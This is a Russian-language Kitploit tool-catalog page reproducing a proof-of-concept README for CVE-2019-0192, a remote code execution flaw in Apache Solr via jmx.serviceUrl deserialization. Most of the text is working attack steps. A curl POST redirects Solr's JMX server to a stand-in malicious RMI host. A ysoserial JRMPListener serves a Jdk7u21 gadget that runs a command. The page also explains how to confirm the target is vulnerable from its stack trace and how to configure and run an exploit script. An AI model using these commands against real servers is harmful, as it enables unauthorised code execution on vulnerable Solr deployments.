Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-0192 — RCE на Apache Solr с использованием десериализации недоверенных данных через jmx.serviceUrl | Kitploit
Инструменты/GitHubGitHub/mpgn/cve-2019-0192
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubmpgn/cve-2019-0192

CVE-2019-0192

RCE на Apache Solr с использованием десериализации недоверенных данных через jmx.serviceUrl

Репозиторий
2085537 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2019-0192 - Удаленное выполнение кода Apache Solr версий с 5.0.0 по 5.5.5 и с 6.0.0 по 6.6.5

Это ранний PoC (доказательство концепции) уязвимости удаленного выполнения кода Apache Solr

Из https://issues.apache.org/jira/browse/SOLR-13301:

ConfigAPI позволяет настраивать JMX-сервер Solr с помощью HTTP POST-запроса. Направив его на вредоносный RMI-сервер, злоумышленник может воспользоваться небезопасной десериализацией Solr для выполнения произвольного кода на стороне Solr.

Доказательство концепции

image


Изучив описание уведомления о безопасности и проверив ConfigAPI ресурсы Apache Solr, мы можем найти ссылку на JMX-сервер:

image

serviceUrl - (необязательная строка) URL-адрес службы для JMX-сервера. Если не указан, будет использоваться сервер MBean платформы по умолчанию.

Проверив работу ConfigAPI, мы можем воспроизвести, как задать удаленный JMX-сервер:

root@kitploit:~
curl -i -s -k  -X $'POST' \
    -H $'Host: 127.0.0.1:8983' \
    -H $'Content-Type: application/json' \
    --data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
    $'http://127.0.0.1:8983/solr/techproducts/config/jmx'

Для PoC я буду использовать yoserial для создания вредоносного RMI-сервера с полезной нагрузкой Jdk7u21

  1. Запустите вредоносный RMI-сервер:
root@kitploit:~
java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/pwn.txt"
  1. Выполните POST-запрос:
root@kitploit:~
curl -i -s -k  -X $'POST' \
    -H $'Host: 127.0.0.1:8983' \
    -H $'Content-Type: application/json' \
    --data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
    $'http://127.0.0.1:8983/solr/techproducts/config/jmx'

Примечание: вы должны получить ошибку 500 с подробным стеком вызовов.

  1. Проверьте стек вызовов:
  • Если вы увидели эту ошибку: "Non-annotation type in annotation serial stream" это означает, что Apache Solr работает с версией Java выше JRE 7u25, и этот PoC не сработает.

  • В противном случае вы должны увидеть эту ошибку: "undeclared checked exception; nested exception is" и PoC должен сработать.

Эксплуатация

  1. Скачайте yoserial: https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
  2. Измените значения в скрипте:
root@kitploit:~
remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"
  1. Затем выполните скрипт:
root@kitploit:~
python3 CVE-2019-0192.py

Уведомление о безопасности:

  • http://mail-archives.us.apache.org/mod_mbox/www-announce/201903.mbox/%3CCAECwjAV1buZwg%2BMcV9EAQ19MeAWztPVJYD4zGK8kQdADFYij1w%40mail.gmail.com%3E

Ресурсы:

  • https://lucene.apache.org/solr/guide/6_6/config-api.html#ConfigAPI-CommandsforCommonProperties
  • https://issues.apache.org/jira/browse/SOLR-13301
Скачать инструмент